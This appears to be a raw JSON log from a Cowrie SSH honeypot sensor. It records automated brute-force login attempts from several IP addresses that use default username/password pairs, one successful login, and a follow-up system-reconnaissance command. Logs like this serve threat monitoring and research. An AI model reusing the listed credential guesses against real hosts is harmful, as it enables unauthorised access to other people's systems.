{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:6a:7d:03:37:1c:ad:4b:d0:4b:50:43:ae:fc:2e:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUXv1r8NdJCD5BkMxFOKMA5HY3fseP+UTofw25OB7Es2IfxbqrzO+gPnURrlH22XcInqLBfIF6oCq75wf3NzOc+RtmBCLRHtvCUPzXgDl64AoMdZUAuRBTSgyxC6EpZyM68f6nfqnKfDdwvoFEWQgbkk9+LinEtdwFVc7+Vt0rinUjZAYqYpSu3VIRqXdh26fFGWE+Z51iyX2seoWTnx6W22Z1YtXhasulCsZT4uBI2WTmDzvSwZBaA7Xt9ZPl5dvRD++33dDXQiuq/CXul8SSredfasjZtbrrnO88WzSRUXVvBNnUbGQWE2/u6H7PuqvpIYh19Ca9c+ul1IuOTpXH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:6a:7d:03:37:1c:ad:4b:d0:4b:50:43:ae:fc:2e:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.474320Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:6a:7d:03:37:1c:ad:4b:d0:4b:50:43:ae:fc:2e:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUXv1r8NdJCD5BkMxFOKMA5HY3fseP+UTofw25OB7Es2IfxbqrzO+gPnURrlH22XcInqLBfIF6oCq75wf3NzOc+RtmBCLRHtvCUPzXgDl64AoMdZUAuRBTSgyxC6EpZyM68f6nfqnKfDdwvoFEWQgbkk9+LinEtdwFVc7+Vt0rinUjZAYqYpSu3VIRqXdh26fFGWE+Z51iyX2seoWTnx6W22Z1YtXhasulCsZT4uBI2WTmDzvSwZBaA7Xt9ZPl5dvRD++33dDXQiuq/CXul8SSredfasjZtbrrnO88WzSRUXVvBNnUbGQWE2/u6H7PuqvpIYh19Ca9c+ul1IuOTpXH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.477626Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:23.505341Z","src_ip":"88.135.73.205","session":"84eeabb26aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44340,"dst_ip":"159.203.135.109","dst_port":22,"session":"1041bc02bf1c","protocol":"ssh","message":"New connection: 45.153.34.114:44340 (159.203.135.109:22) [session: 1041bc02bf1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:25.005786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:25.010942Z","src_ip":"45.153.34.114","session":"1041bc02bf1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:25.097833Z","src_ip":"45.153.34.114","session":"1041bc02bf1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:25.356498Z","src_ip":"45.153.34.114","session":"1041bc02bf1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:26.604285Z","src_ip":"45.153.34.114","session":"1041bc02bf1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60370,"dst_ip":"159.203.135.109","dst_port":22,"session":"4994f7304de8","protocol":"ssh","message":"New connection: 45.153.34.114:60370 (159.203.135.109:22) [session: 4994f7304de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:33.131991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:33.144798Z","src_ip":"45.153.34.114","session":"4994f7304de8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:33.214655Z","src_ip":"45.153.34.114","session":"4994f7304de8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:33.555701Z","src_ip":"45.153.34.114","session":"4994f7304de8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:33.764644Z","src_ip":"45.153.34.114","session":"4994f7304de8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:33.767704Z","src_ip":"45.153.34.114","session":"4994f7304de8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:33.857177Z","src_ip":"45.153.34.114","session":"4994f7304de8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:33.861006Z","src_ip":"45.153.34.114","session":"4994f7304de8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41588,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2992f5ca090","protocol":"ssh","message":"New connection: 45.153.34.114:41588 (159.203.135.109:22) [session: f2992f5ca090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:41.477177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:41.482131Z","src_ip":"45.153.34.114","session":"f2992f5ca090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:41.570160Z","src_ip":"45.153.34.114","session":"f2992f5ca090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:41.836412Z","src_ip":"45.153.34.114","session":"f2992f5ca090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45812,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c455e729dc5","protocol":"ssh","message":"New connection: 103.75.199.4:45812 (159.203.135.109:22) [session: 2c455e729dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:42.464647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:42.471753Z","src_ip":"103.75.199.4","session":"2c455e729dc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:42.563090Z","src_ip":"103.75.199.4","session":"2c455e729dc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:42.834899Z","src_ip":"103.75.199.4","session":"2c455e729dc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:42.933063Z","src_ip":"45.153.34.114","session":"f2992f5ca090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:43.928230Z","src_ip":"103.75.199.4","session":"2c455e729dc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36478,"dst_ip":"159.203.135.109","dst_port":22,"session":"4085369002a7","protocol":"ssh","message":"New connection: 45.153.34.114:36478 (159.203.135.109:22) [session: 4085369002a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:49.812475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:49.815893Z","src_ip":"45.153.34.114","session":"4085369002a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:49.906024Z","src_ip":"45.153.34.114","session":"4085369002a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:50.169376Z","src_ip":"45.153.34.114","session":"4085369002a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:51.270007Z","src_ip":"45.153.34.114","session":"4085369002a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46594,"dst_ip":"10.17.0.5","dst_port":23,"session":"05f508c801a0","protocol":"telnet","message":"New connection: 50.6.8.71:46594 (10.17.0.5:23) [session: 05f508c801a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:53.261292Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36480,"dst_ip":"159.203.135.109","dst_port":22,"session":"c914f800bc0f","protocol":"ssh","message":"New connection: 45.153.34.114:36480 (159.203.135.109:22) [session: c914f800bc0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:57.657901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:57.663364Z","src_ip":"45.153.34.114","session":"c914f800bc0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:57.747577Z","src_ip":"45.153.34.114","session":"c914f800bc0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:58.012760Z","src_ip":"45.153.34.114","session":"c914f800bc0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":52436,"dst_ip":"10.17.0.5","dst_port":22,"session":"474386905f5e","protocol":"ssh","message":"New connection: 80.94.92.182:52436 (10.17.0.5:22) [session: 474386905f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:59.077774Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:59.104934Z","src_ip":"45.153.34.114","session":"c914f800bc0f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:59.132852Z","src_ip":"80.94.92.182","session":"474386905f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:59.246258Z","src_ip":"80.94.92.182","session":"474386905f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:42:59.841120Z","src_ip":"80.94.92.182","session":"474386905f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:01.212609Z","src_ip":"80.94.92.182","session":"474386905f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":48292,"dst_ip":"159.203.135.109","dst_port":22,"session":"f89cd8b0ee65","protocol":"ssh","message":"New connection: 20.203.42.204:48292 (159.203.135.109:22) [session: f89cd8b0ee65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:02.631502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:02.637545Z","src_ip":"20.203.42.204","session":"f89cd8b0ee65","protocol":"ssh"}
